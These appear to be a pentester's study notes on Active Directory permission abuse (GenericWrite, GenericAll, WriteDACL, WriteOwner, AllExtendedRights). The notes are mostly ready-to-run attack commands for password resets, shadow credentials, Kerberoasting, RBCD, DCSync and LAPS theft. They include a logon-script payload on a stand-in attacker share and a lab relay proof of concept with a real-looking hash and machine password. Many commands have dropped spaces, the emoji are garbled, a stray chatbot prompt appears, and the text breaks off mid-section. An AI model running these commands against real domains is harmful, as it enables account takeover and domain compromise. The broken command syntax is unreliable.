Permissions Abuse
DACL & SACL
๐ Access Control Model in Active Directory
The Access Control Model defines who can access what in the Active Directory environment. It is a security mechanism that governs how subjects (like users or processes) interact with objects (like files, folders, AD objects, or resources) based on security information.
This model is implemented using the following key components:
๐งพ 1. Access Tokens
An Access Token is created when a user logs in. It represents the security context of the user or process and contains important information that determines what the user/process is allowed to do.
โ Contents of an Access Token:
User SID (Security Identifier)
Group SIDs (all groups the user is a member of)
Privileges (like the ability to shut down the system or back up files)
Default DACL (used when the user creates new objects)
๐ Usage:
Whenever a user tries to access a resource, their access token is compared to the Security Descriptor of the object they are trying to access.
๐ก๏ธ 2. Security Descriptors
A Security Descriptor (SD) is a data structure attached to each object in Active Directory (and other securable resources). It defines who owns the object, who can access it, and how that access is audited.
Any object(resource or service) that Windows wants to protect with permissions has a Security Descriptor. Eg:- File system, Registry, Services, Active Directory objects, event logs, printers, etc.
๐ Key components of a Security Descriptor:
๐ 3. DACL (Discretionary Access Control List)
The DACL contains Access Control Entries (ACEs) that define permissions for users or groups.
๐งฑ Each ACE includes:
A SID (the user or group)
A set of permissions (e.g., Read, Write, Modify)
A flag indicating whether the access is allowed or denied
โ If there is no DACL, the object is unprotected, and any user can access it.
๐ 4. SACL (System Access Control List)
The SACL is used for auditing access to objects. It specifies which operations on the object should be logged in the Security Event Log.
For example:
Audit success or failure of access attempts.
Used by Windows Auditing and Advanced Threat Detection tools.
โ๏ธ How It All Works Together
A user logs in โ Windows creates an Access Token.
The user tries to access an Active Directory object (like a user account or GPO).
Windows checks the Security Descriptor of the object:
- Compares the userโs Access Token (SIDs + privileges)
- With the objectโs DACL
If access is allowed โ user can proceed.
If the SACL has rules for that type of access โ the attempt is logged.
๐ง Example Scenario
A user โAliceโ logs into her domain-joined PC. She wants to read a file stored on a shared drive:
Her Access Token includes her user SID and group memberships like
Domain Users.The file has a Security Descriptor:
- Owner: IT Admin
- DACL: Grants read access to
Domain Users - SACL: Logs read access by any user
Result:
- Alice can read the file (because
Domain Usersare allowed). - The read attempt is audited because of the SACL.
- Alice can read the file (because
๐ In Summary
๐งฑ Key Components in the Diagram
โ Object
This is the resource (e.g., file, folder, AD object) that someone is trying to access.
๐ก๏ธ DACL (Discretionary Access Control List)
Attached to the object. It contains Access Control Entries (ACEs) that define who can or cannot access the object and what type of access is allowed or denied.
โ Subjects
This contains users, groups or process trying to access the object(resource). Above example contains two treads Tread A and Tread B. Each Tread contains certain set of users or groups
๐ Thread A (Andrew) Tries to Access the Object
When a user from Tread A, lets say Andrew tries to access the object with its access token, he is passed through DACL, ACE 1 matches Andrew directly and says โAccess Deniedโ. Deny takes precedence that means the user will know not be passed further.
- โ Access is Denied, even though Andrew is part of Group A (which is allowed in ACE 2).
Why? Because the Deny ACE appears first and directly targets Andrew.
Thread B (Jane) Tries to Access the Object
Jane is not denied explicitly.
HE is a member of Group A, and ACE 2 allows write access to Group A.
ACE 3 also gives Everyone read/execute. So a member of Group A has all the permissions
โ Access is Allowed.
โ ๏ธ Key Takeaways from This Image
Access Tokens represent user identity and groups.
DACLs contain ACEs that define who can access the object.
โDenyโ entries override โAllowโ entries.
Evaluation stops at the first applicable ACE.
Order of ACEs in the DACL matters.
Commands:
Get the ACLs associated with the specified object:
Get-DomainObjectAcl -SamAccountName student1 -ResolveGUIDs
The -ResolveGUIDs flag tells PowerView to translate security GUIDs (which represent permissions) into human-readable names.
๐ก๏ธ What is an ACL (Access Control List)?
โ Definition:
An ACL is a list of permissions attached to an object (like a user, group, OU, computer, etc.) that defines who can do what with that object.
๐ง Think of it as:
โThis object has a list of rules โ and each rule says who can perform which actions.โ
There are two types of ACLs:
DACL (Discretionary Access Control List)
SACL (System Access Control List)
Note:- ACL is part of Security Descriptors
๐๏ธ What is an ACE (Access Control Entry)?
โ Definition:
An ACE is a single rule inside an ACL. It defines a specific permission granted (or denied) to a security principal (user, group, computer, etc.).
๐ง Think of it as:
โOne entry in the rulebook saying: User Alice can ResetPassword on Object X.โ
๐งฑ ACL vs ACE โ Visual Analogy
๐งฐ In Active Directory:
Every AD object has a Discretionary Access Control List (DACL) that contains multiple ACEs.
๐ง Example (User Object):
Object: User = John.Doe
ACL:
ACE 1: Group "Domain Admins" โ Full Control
ACE 2: User "Alice" โ ResetPassword
ACE 3: User "Bob" โ WriteProperty (ServicePrincipalName)
๐ฅ Why are ACLs & ACEs Important in Pentesting?
- Attackers can abuse misconfigured ACEs to:
- ๐งโ๐ป Reset another userโs password
- ๐ ๏ธ Change SPNs and perform Kerberoasting
- ๐ Take ownership of an object
- ๐งฌ Replicate domain secrets (DCsync attack)
๐ Common Abuse Scenarios:
GenericWrite | Modify user/computer object | Add SPN, reset password |WriteOwner | Change object owner | Become object owner |WriteDacl | Modify permissions | Grant yourself full access |ResetPassword | Reset userโs password | Log in as them |Replicating Directory Changes | Pull directory secrets | DCSync (hash dump) |๐ ACE Types You Should Watch For (as an Attacker)
GenericAll | Full control โ do anything |GenericWrite | Modify most object attributes |WriteDACL | Change objectโs permissions |WriteOwner | Change the owner of the object |ResetPassword | Reset a userโs password |AllExtendedRights | Includes DCSync privileges |๐ Summary
Would you like a visual map of an ACL attack path, or a lab-style demo on how to abuse ACEs with PowerView or BloodHound?
ACL
๐ GenericWrite
๐ 1. What is GenericWrite?
Theย GenericWriteย permission inย Active Directoryย allows a user to modify all writable attributes of an object, except for properties that require special permissions such as resetting passwords.
If an attacker gains GenericWrite over a user, they can write to theย servicePrincipalNamesย attribute and immediately initiate aย targeted Kerberoastingย attack.
Moreover, havingย GenericWriteย over a group enables them to add their accountโor one they controlโdirectly to that group, effectively escalating privileges.
Alternatively, if the attacker obtainsย GenericWriteย over a computer object, they can modify theย msds-KeyCredentialLinkย attribute.ย As a result, they createย Shadow Credentialsย and authenticate as that computer account usingย Kerberos PKINIT.
GenericWrite = Permission to modify writable attributes of an AD object.
๐ It does NOT give full control, but allows:
Editing specific attributes (depends on object type)
Indirect privilege escalation
๐ฏ 2. Prerequisites
โ๏ธ 3. Conditions for Abuse
๐ฅ 4. Abuse Based on Object Type
๐ค A. GenericWrite on USER
๐ง What you can modify
servicePrincipalNameuserAccountControlscriptPathmsDS-KeyCredentialLink
โ๏ธ Attack 1: Shadow Credentials (Best Attack)
๐ What it is
Abuse msDS-KeyCredentialLink to add your own authentication key.
โ๏ธ Steps
Set-DomainObject -Identity victim -Set @{'msDS-KeyCredentialLink'=$value}
๐ง Explanation
You inject a certificate/key
AD trusts it for authentication
No password needed
โ Result
๐ Full account takeover
โ๏ธ Attack 2: SPN Manipulation โ Kerberoasting
๐ What it is
Add fake SPN โ request service ticket โ crack password
โ๏ธ Steps
Set-DomainObject -Identityvictim -Set @{'servicePrincipalName'='fake/service'}
impacket-GetUserSPNs domain.local/user:pass-request
๐ง Explanation
SPN makes account โservice accountโ
Kerberos gives encrypted ticket
Offline cracking possible
โ Result
๐ Recover plaintext password
โ๏ธ Attack 3: AS-REP Roasting
๐ What it is
Disable pre-authentication requirement
โ๏ธ Steps
Set-DomainObject -Identity victim -XOR @{'userAccountControl'=4194304}
impacket-GetNPUsers domain.local/-no-pass
๐ง Explanation
Removes Kerberos pre-auth
DC sends encrypted response
โ Result
๐ Crackable hash
โ๏ธ Attack 4: Logon Script Injection
๐ What it is
Set malicious script path
โ๏ธ Steps
Set-DomainObject -Identity victim-Set @{'scriptPath'='\\attacker\share\evil.ps1'}
๐ง Explanation
- Script runs when user logs in
โ Result
๐ Code execution as victim
โ ๏ธ Password Reset?
โ Not directly possible (in most cases)
๐ฅ B. GenericWrite on GROUP
๐ง What you can modify
memberattribute (group membership)
โ๏ธ Attack: Add Yourself to Group
โ๏ธ Steps
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker
๐ง Explanation
You modify group membership
No approval needed
โ Result
๐ฅ Attack Flow
GenericWrite on Group
โ
Add yourself
โ
Inherit group privileges
โ
Privilege escalation
๐ป C. GenericWrite on COMPUTER
๐ง What you can modify
msDS-AllowedToActOnBehalfOfOtherIdentityservicePrincipalName
โ๏ธ Attack 1: RBCD (Most Important)
๐ What it is
Resource-Based Constrained Delegation
โ๏ธ Steps
Set-DomainObject-IdentityTARGET$-Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}
๐ง Explanation
You allow your machine to act on behalf of users
Use Kerberos delegation
Impersonate Administrator
โ Result
๐ SYSTEM / Domain Admin access
โ๏ธ Attack 2: SPN Abuse
โ๏ธ Steps
Set-DomainObject -Identity computer$ -Set @{'servicePrincipalName'='fake/service'}
๐ง Explanation
Same as user SPN abuse
โ Result
๐ Extract machine hash
๐ 5. GenericWrite on OU (Requested)
๐ What is it?
GenericWrite on OU = You can modify attributes of OU
๐ But:
You cannot directly control users
You must abuse inheritance / permissions
๐ฏ Goal
๐ Gain control over objects inside OU (users / groups)
โ๏ธ Abuse Method: Grant Yourself Rights on OU
โ๏ธ Step 1 โ Modify OU ACL
Add-DomainObjectAcl -TargetIdentity "OU=IT,DC=domain,DC=local" -PrincipalIdentity attacker -RightsAll
๐ง What this does
๐ You are:
Giving yourself FullControl on the OU
โ
Permissions will be inherited by child objects (if inheritance applies)
โ ๏ธ Important Condition
โ Works only if:
Inheritance is enabled
Objects inherit permissions from OU
โ๏ธ Step 2 โ Abuse Child Objects
Now you can:
Reset user passwords
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
Add yourself to groups
Add-DomainGroupMember -Identity "Admins" -Members attacker
๐ฅ Full Attack Flow
GenericWrite on OU
โ
Modify OU ACL (give yourself control)
โ
Permissions propagate to users/groups
โ
Control child objects
โ
Privilege escalation
๐ 5. Summary Table
๐จ 6. Risks / Impact
๐ชต 7. Logs & Detection
๐ก 8. Key Takeaway
๐ GenericWrite = Attribute abuse, not direct control
NTML Relay Attack + RBCD ( Linux PoC )
**#WEB01 - 10.129.1.166**
clocksync 10.129.1.166 -c "netexec ldap 10.129.1.166 -u ms01$ -p ms01 -M maq -k"
clocksync 10.129.1.217 -c "evil-winrm -i 192.168.100.2 -u gMSA_ADFS_prod$ -H fd9ea7ac7820dba5155bd6ed2d850c09"
gMSA_ADFS_prod$ : fd9ea7ac7820dba5155bd6ed2d850c09
python3 Coercer.py coerce -l 10.10.16.60 -t 192.168.100.2 -d pirate.htb -u 'gMSA_ADFS_prod$' --hashes ':fd9ea7ac7820dba5155bd6ed2d850c09' --always-continue
impacket-ntlmrelayx \
-t ldaps://10.129.1.217 \
--delegate-access \
--no-da -smb2support \
--remove-mic \
--debug
clocksync 10.129.1.217 -c "nxc ldap 10.129.1.217 -u ms01$ -p ms01 --computers -k"
clocksync 10.129.1.217 -c 'impacket-getST pirate.htb/SWJFVMVD$:jD3U@VgYfz+Wj}> -spn cifs/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.1.217'
clocksync 10.129.1.172 -c 'impacket-getST pirate.htb/SWJFVMVD$:jD3U@VgYfz+Wj}> -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.1.172'
export KRB5CCNAME=Administrator@HTTP_WEB01.pirate.htb@PIRATE.HTB.ccache
env | grep KRB
clocksync 10.129.1.172 -c "evil-winrm -i WEB01.pirate.htb -r PIRATE.HTB"
Generic All
๐ 1. What is GenericAll?
GenericAll = Full control over an AD object
๐ You can:
Read all attributes
Modify all attributes
Change permissions (ACL)
Perform sensitive operations (like password reset)
๐ฏ 2. Prerequisites
โ๏ธ 3. Conditions for Abuse
๐ฅ 4. Abuse Based on Object Type
๐ค A. GenericAll on USER
๐ง What you control
๐ Everything:
Password
SPNs
UAC flags
ACLs
Authentication methods
โ๏ธ Attack 1: Reset Password (MOST DIRECT)
โ๏ธ Steps
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!"-AsPlainText-Force)
๐ง Explanation
GenericAll includes
ResetPasswordNo old password required
โ Result
๐ Instant account takeover
โ๏ธ Attack 2: Shadow Credentials (Best Attack)
๐ What it is
Abuse msDS-KeyCredentialLink to add your own authentication key.
โ๏ธ Steps
Set-DomainObject -Identity victim -Set @{'msDS-KeyCredentialLink'=$value}
๐ง Explanation
You inject a certificate/key
AD trusts it for authentication
No password needed
โ Result
๐ Full account takeover
โ๏ธ Attack 3: SPN Manipulation โ Kerberoasting
๐ What it is
Add fake SPN โ request service ticket โ crack password
โ๏ธ Steps
Set-DomainObject -Identityvictim -Set @{'servicePrincipalName'='fake/service'}
impacket-GetUserSPNs domain.local/user:pass-request
๐ง Explanation
SPN makes account โservice accountโ
Kerberos gives encrypted ticket
Offline cracking possible
โ Result
๐ Recover plaintext password
โ๏ธ Attack 4: AS-REP Roasting
๐ What it is
Disable pre-authentication requirement
โ๏ธ Steps
Set-DomainObject -Identity victim -XOR @{'userAccountControl'=4194304}
impacket-GetNPUsers domain.local/-no-pass
๐ง Explanation
Removes Kerberos pre-auth
DC sends encrypted response
โ Result
๐ Crackable hash
โ๏ธ Attack 5: Grant Yourself More Rights
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsAll
โ Result
๐ Persistence / stealth control
๐ฅ B. GenericAll on GROUP
๐ง What you control
Membership
Group permissions
Attributes
โ๏ธ Attack 1: Add Yourself to Group
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker
๐ง Explanation
- Full control โ modify
memberattribute
โ Result
๐ป C. GenericAll on COMPUTER
โ๏ธ Attack 1: RBCD (Most Powerful)
Set-DomainObject -Identity TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}
๐ง Explanation
- Allow your machine to impersonate users
โ Result
๐ SYSTEM / Domain Admin access
โ๏ธ Attack 2: Reset Machine Password
net user TARGET$ NewPass123!/domain
โ Result
๐ Control computer account
โ๏ธ Attack 3: SPN Abuse
Set-DomainObject -Identity TARGET$ -Set @{'servicePrincipalName'='fake/service'}
โ Result
๐ Kerberoasting
โ๏ธ 4. Abuse Path 2: LAPS Abuse (VERY IMPORTANT)
๐ง What is LAPS?
LAPS = Local Administrator Password Solution
- Stores local admin password in AD attribute:
ms-Mcs-AdmPwd
๐ Normally
- Only privileged users can read it
๐ฅ With GenericAll
๐ You can:
- Grant yourself permission to read LAPS password
โ๏ธ Step 1: Give yourself read access
Add-DomainObjectAcl -TargetIdentity TARGET$ -PrincipalIdentity attacker -RightsAll
โ๏ธ Step 2: Read LAPS password
Get-DomainComputer TARGET$ -Propertie sms-Mcs-AdmPwd
Name : TARGET
ms-Mcs-AdmPwd : P@ssw0rd123!
๐ฅ Impact
You now have:
Local Administrator credentials on TARGET machine
โ๏ธ Step 3: Use it
psexec \\TARGET -u Administrator -p P@ssw0rd123! cmd.exe
NT AUTHORITY\SYSTEM shell
๐ฅ Why LAPS Abuse is Powerful
GenericAll โ Read LAPS โ Local Admin โ SYSTEM โ Credential Dump
๐๏ธ D. GenericAll on OU (VERY IMPORTANT โ FINAL VERSION)
๐ง What you control
๐ If you have GenericAll on an OU, you control:
The OU object itself (FULL CONTROL)
๐ Since an OU is a container, it holds:
Users
Groups
Computers
๐ฅ Core Logic (MOST IMPORTANT)
OU = container
Objects inside OU = child objects
Permissions on OU
โ (inheritance)
Flow to child objects
๐ So:
GenericAll on OU
โ
You can push permissions to all child objects
โ
You gain control over those objects
โ๏ธ Attack (Proper Flow)
๐น Step 1 โ You already have GenericAll on OU
Attacker has full control over OU=IT
๐ This allows you to:
Modify permissions (ACL)
Control how access is inherited
๐น Step 2 โ Ensure control over child objects
Add-DomainObjectAcl -TargetIdentity "OU=IT,DC=domain,DC=local" -PrincipalIdentityattacker -RightsAll
๐ง What this does (CRITICAL)
Adds an ACL entry on the OU
โ
Marked as inheritable
โ
Applies to child objects (users/groups/computers)
๐ Result:
Attacker now has rights ON child objects
๐น Step 3 โ Abuse child objects
Now you can directly interact with objects inside OU:
โ Reset user passwords
Set-DomainUserPassword -Identity user1 -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
โ Add yourself to privileged groups
Add-DomainGroupMember -Identity "Admins"-Members attacker
โ Modify user attributes (SPN / persistence)
Set-DomainObject-Identityuser1-Set @{'servicePrincipalName'='fake/service'}
โ Abuse computers (RBCD)
Set-DomainObject -Identity COMPUTER$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}
๐ Result
GenericAll on OU
โ
Control over OU ACL
โ
Permissions inherited by child objects
โ
Control users / groups / computers
โ
Mass compromise
โ ๏ธ Important Conditions (Real World)
๐ 5. Summary Table
๐จ 6. Risks / Impact
๐ชต 7. Logs & Detection
๐ก 8. Key Takeaway
๐ GenericAll = Full control = Multiple attack paths
๐ Force Password Change Abuse (AD)
๐ 1. What is it?
Force Password Change = Ability to reset another userโs password without knowing the current password.
๐ This is controlled by the AD permission:
ResetPasswordOften comes via:
GenericAllGenericWriteAllExtendedRights
๐ฏ 2. Prerequisites
ResetPassword or equivalent |โ๏ธ 3. Conditions for Abuse
GenericAll on user | Full control โ reset password |GenericWrite | Can modify attributes โ sometimes enough |AllExtendedRights | Includes password reset |๐ฅ 4. Ways to Abuse
๐งช Method 1: PowerView
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
โ What happens:
Password is directly changed
No old password required
๐งช Method 2: net user (Windows)
net user victim NewP@ss123! /domain
โ Simple built-in method
โ Works if permissions allow
๐งช Method 3: BloodyAD (Linux)
bloodyAD --host DC_IP -d domain.local -u attacker -p passset password victim NewP@ss123!
โ Very common in labs
โ Uses LDAP
๐งช Method 4: Impacket (rpcclient / smbpasswd)
rpcclient -U domain/attacker%pass DC_IP
set userinfo2 victim23 NewP@ss123!
โ Uses SAMR protocol
๐งช Method 5: CrackMapExec
crackmapexec smb DC_IP -u attacker -p pass -M pwdreset -o USER=victim PASS=NewP@ss123!
๐ 1. ResetPassword (Direct Right)
๐ง What you have
You directly have the Reset Password extended right on a user.
โ๏ธ Abuse
PowerView
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
Linux (rpcclient)
rpcclient -U domain/attacker%pass DC_IP
set userinfo2 victim23 NewP@ss123!
โ๏ธ What happens internally
Uses SAMR / LDAP password reset operation
No old password required
โ Result
๐ Instant account takeover
๐ 2. GenericAll (Full Control)
๐ง What you have
Full control over user object
โ๏ธ Abuse
Same as above (because it includes ResetPassword):
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
โ๏ธ Internally
You already have all rights
No need to modify ACL
โ Result
๐ Direct password reset
๐ 3. AllExtendedRights
๐ง What you have
All extended rights โ includes ResetPassword
โ๏ธ Abuse
bloodyAD --host DC_IP -d domain.local -u attacker-p passset password victim NewP@ss123!
โ๏ธ Internally
- Extended rights include:
- ResetPassword
- ChangePassword
- Others
โ Result
๐ Works same as GenericAll for this case
๐ 4. GenericWrite (โ ๏ธ Tricky Case)
๐ง What you have
Write access to attributes (NOT full control)
โ ๏ธ Important
You usually CANNOT directly reset password
โ๏ธ Possible Abuse Paths
๐งช Case 1: Target allows password write (rare)
Some environments allow writing:
Set-ADAccountPassword -Identityvictim -Reset-NewPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
โ Might work
โ Often fails due to missing extended right
โ๏ธ Internally
- Youโre modifying attributes, NOT performing reset operation
โ Result
๐ Sometimes โ indirect takeover
๐ Not reliable for password reset
๐ 5. WriteDACL (VERY POWERFUL)
๐ง What you have
Ability to modify permissions (ACL) of user
โ๏ธ Abuse Flow
Step 1 โ Give yourself ResetPassword
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsResetPassword
Step 2 โ Reset password
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
โ๏ธ Internally
Modify DACL โ grant yourself rights
Use those rights
โ Result
๐ Full takeover (2-step attack)
๐ 6. WriteOwner
๐ง What you have
Ability to change owner of object
โ๏ธ Abuse Flow
Step 1 โ Take ownership
Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker
Step 2 โ Modify DACL
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsResetPassword
Step 3 โ Reset password
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
โ๏ธ Internally
Ownership โ allows modifying permissions โ grant yourself rights
โ Result
๐ Full takeover (3-step chain)
๐ง Final Truth Table
๐ง What you gain
โ ๏ธ 5. Important Notes (VERY IMPORTANT)
๐ด This is NOT password cracking
No brute force
No hash needed
Direct overwrite
๐ด Kerberos impact
Old tickets become invalid
New authentication required
๐ 6. Logs & Detection
๐ชต Windows Event Logs
๐ Example Log
Event ID: 4724
Subject: attacker_user
Target: victim_user
Action: Password Reset
๐ Detection Clues
Sudden password reset for privileged user
Reset followed by login from different host
Unusual admin account activity
๐จ 7. Risks / Impact
๐ก๏ธ 8. Defensive Measures
Write DACL
๐ง 1. What is WriteDACL (Core Concept)
๐ DACL Basics
Every AD object (user, group, computer, OU, domain) has a DACL (Discretionary Access Control List)
DACL = list of ACEs (Access Control Entries)
ACE = who has what permission on this object
๐ฅ What WriteDACL Means
WriteDACL = Ability to modify permissions of an object
- You can:
- Add new ACEs
- Modify existing ACEs
- Grant yourself any permission
๐ This is why itโs dangerous:
With WriteDACL โ you can give yourself full control (GenericAll) or any specific right
โ ๏ธ Core Idea (Very Important)
๐ WriteDACL is NOT direct control
๐ It is permission escalation primitive
WriteDACL โ Modify ACL โ Give yourself stronger rights โ Abuse those rights
๐ฏ 2. Conditions Required for Abuse
โ Required Conditions
1. You control a principal (user/computer)
- Your account OR compromised account
2. That principal has WriteDACL on target object
Example:
User A โ WriteDACL โ User B
3. Target object is valuable OR chainable
High privilege user
Privileged group
Computer (for delegation attacks)
OU / Domain (mass impact)
๐ง Key Understanding
From theory:
If object B has rights over object A โ controlling B = controlling A
โ๏ธ 3. Abuse Logic (Universal Flow)
Same for ALL objects:
Step 1: You have WriteDACL
Step 2: Modify DACL
Step 3: Grant yourself:
GenericAll (full control) OR
Specific rights (ForceChangePassword, AddMember, DCSync etc.)
Step 4: Abuse newly gained privilege
๐งฉ 4. Object-wise Abuse Breakdown
๐ค A. WriteDACL on USER
๐ What you control
- Permissions of user object
โ๏ธ What you do
You grant yourself:
GenericAll OR
ForceChangePassword OR
AllExtendedRights
๐ฅ Abuse Outcomes
1. Reset password (no creds needed)
- Take over account
2. Kerberoasting
- Add SPN โ extract ticket โ crack
3. Full takeover
Modify attributes
Persistence
๐ง Summary
WriteDACL โ GenericAll โ User takeover โ Lateral movement
๐ฅ B. WriteDACL on GROUP
๐ What you control
- Membership control of group
โ๏ธ What you do
Grant yourself:
- WriteMembers
๐ฅ Abuse Outcomes
1. Add yourself to group
- If group = Domain Admins โ instant DA
๐ง Summary
WriteDACL โ AddMember โ Privileged group โ Privilege escalation
๐ป C. WriteDACL on COMPUTER
๐ What you control
- Computer object permissions
โ๏ธ What you do
Grant yourself:
- GenericAll
๐ฅ Abuse Outcomes
1. RBCD (Resource-Based Constrained Delegation)
- Impersonate users โ SYSTEM access
2. Modify SPNs
- Kerberos abuse
3. Take machine control
- Pivot to domain
๐ง Summary
WriteDACL โ GenericAll โ RBCD โ SYSTEM โ Domain pivot
๐ข D. WriteDACL on OU (Organizational Unit)
๐ What you control
- All objects inside OU (inherited permissions)
โ๏ธ What you do
Grant yourself:
- GenericAll on OU (inheritable)
๐ฅ Abuse Outcomes
1. Control all users in OU
Reset passwords
Add SPNs
2. Control all computers
- RBCD attacks
3. Massive lateral movement
๐ง Key Insight
๐ OU = multi-object attack surface
WriteDACL โ Inheritance โ Control multiple objects โ Scale attack
๐ E. WriteDACL on DOMAIN (MOST CRITICAL)
๐ What you control
- Entire domain ACL
โ๏ธ What you do
Grant yourself:
- DCSync rights:
- DS-Replication-Get-Changes
- DS-Replication-Get-Changes-All
๐ฅ Abuse Outcomes
๐ฅ DCSync Attack
- Dump password hashes of:
- Domain Admins
- KRBTGT
- Full domain compromise
๐ง Summary
WriteDACL โ Add DCSync rights โ Dump hashes โ Full domain takeover
โ ๏ธ 5. Why WriteDACL is EXTREMELY Dangerous
Works on ANY object
Fully stealthy compared to exploits
Doesnโt require admin initially
Enables:
- Privilege escalation
- Lateral movement
- Persistence
๐ Itโs a meta-permission (controls other permissions)
๐จ 6. Detection & Alerts (Very Important)
๐ What to Monitor
1. ACL Changes
Attribute:
nTSecurityDescriptorAny change = suspicious
2. WriteDACL Usage Events
- Windows Event IDs:
- 4662 โ Object permission change
- 5136 โ Directory object modified
3. Suspicious Patterns
- New ACE granting:
- GenericAll
- WriteDACL
- DCSync rights
๐ง FINAL MENTAL MODEL (IMPORTANT)
Think like this:
WriteDACL = Permission Editor Access
If you can edit permissions โ
You can give yourself power โ
You become owner/control entity
๐ฅ Quick Comparison Table
All Extended Rights
๐ 1. Definition
AllExtendedRights in Active Directory:
๐ Grants permission to perform all extended (special) operations on an object.
๐ง Extended Rights = Special Actions
Not full control, but powerful operations like:
Reset password
Replication (DCSync)
Delegation-related actions
Authentication permissions
๐ฅ Core Idea
AllExtendedRights = Perform critical privileged actions WITHOUT full write access
โ ๏ธ 2. Conditions for Abuse
โ General Conditions
You must have AllExtendedRights on the target object
Network access to Domain Controller
Target object not blocking required operation (edge cases)
โ ๏ธ Special Conditions (Important)
๐ค USER Object
๐ฏ What you can do
๐ Reset password
โ๏ธ Attack Flow
AllExtendedRights โ Reset Password โ Account Takeover
๐ป Command
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
๐ฅ Impact
Full user access
Privilege escalation (if privileged user)
๐ป COMPUTER Object
๐ฏ What you can do
๐ Read Laps Password
You may read the LAPS password of the computer object. For more information about that, see the ReadLAPSPassword edge section.
๐ RBCD (Resource-Based Constrained Delegation)
โ๏ธ Attack Flow
AllExtendedRights โ Set msDS-AllowedToActOnBehalfOfOtherIdentity โ RBCD โ SYSTEM
๐ป Command
Set-DomainObject -Identity TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}
๐ฅ Impact
SYSTEM access on target machine
Lateral movement
๐ DOMAIN Object
๐ง What is a โDomain Objectโ?
In Active Directory:
๐ A domain object refers to the root object of the domain itself, not users, computers, or OUs.
๐ Example
For a domain:
domain.local
The domain object is:
DC=domain,DC=local
๐งฉ Think of AD hierarchy like this:
DC=domain,DC=local โ ๐ DOMAIN OBJECT (this is what we mean)
โ
โโโ OU=IT
โ โโโ user1
โ โโโ computer1
โ
โโโ OU=HR
โ โโโ user2
๐ฅ Key Understanding
DC=domain,DC=local |๐ฏ What you can do
๐ DCSync attack
๐ฏ What you want to see
attacker โโAllExtendedRightsโโโถ domain.local
โ๏ธ Attack Flow
AllExtendedRights โ Replication Rights โ DCSync โ Dump hashes โ Domain Compromise
๐ป Command (Mimikatz)
lsadump::dcsync/domain:domain.local/user:Administrator
๐ฅ Impact
Dump NTLM hashes of all users
Full domain compromise
Write Owner
๐ 1. Definition
WriteOwner in Active Directory allows you to:
๐ Change the owner of an object (user, group, computer, OU)
๐ง Why ownership matters
In AD:
Owner โ has implicit right to modify ACL (DACL)
๐ Even if you donโt have GenericAll, as owner you can:
Modify permissions
Grant yourself full control
๐ฅ Core Idea
WriteOwner โ Take Ownership โ Modify ACL โ Full Control โ Abuse
โ๏ธ 2. Abuse Flow (Generic)
Step 1 โ Take ownership
Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker
Step 2 โ Grant yourself full control
Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity attacker -RightsAll
Step 3 โ Abuse based on object type
๐งฉ 3. WriteOwner on USER
๐ What you get
After abuse:
Reset password
Add SPN (Kerberoasting)
Shadow credentials
Account takeover
โ๏ธ Example Attack
Step 1 โ Take ownership
Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker
Step 2 โ Full control
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsAll
Step 3 โ Reset password
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)
๐ฏ Result
๐ Full account takeover
โ Conditions
WriteOwner on user
Target not protected (or still modifiable)
You can reach DC
๐ป 4. WriteOwner on COMPUTER
๐ What you get
After abuse:
Modify attributes
Set delegation (RBCD)
Control machine account
โ๏ธ Example Attack (RBCD path)
Step 1 โ Take ownership
Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker
Step 2 โ Full control
Add-DomainObjectAcl -TargetIdentity TARGET$ -PrincipalIdentity attacker -RightsAll
Step 3 โ Set RBCD
Set-DomainObject-IdentityTARGET$-Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}
๐ฏ Result
๐ SYSTEM access on target machine
โ Conditions
WriteOwner on computer
Ability to create/control attacker machine (SPN)
Kerberos abuse possible
๐ฅ 5. WriteOwner on GROUP
๐ What you get
Add members to group
Full control over group
โ๏ธ Example Attack
Step 1 โ Take ownership
Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker
Step 2 โ Full control
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -RightsAll
Step 3 โ Add yourself
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker
๐ฏ Result
๐ Domain Admin access
โ ๏ธ Note
High-value target
Likely monitored
โ Conditions
WriteOwner on group
Group not protected OR ACL still modifiable
๐ข 6. WriteOwner on OU
๐ What you get
Control over OU ACL
Ability to push permissions to child objects
โ๏ธ Example Attack
Step 1 โ Take ownership
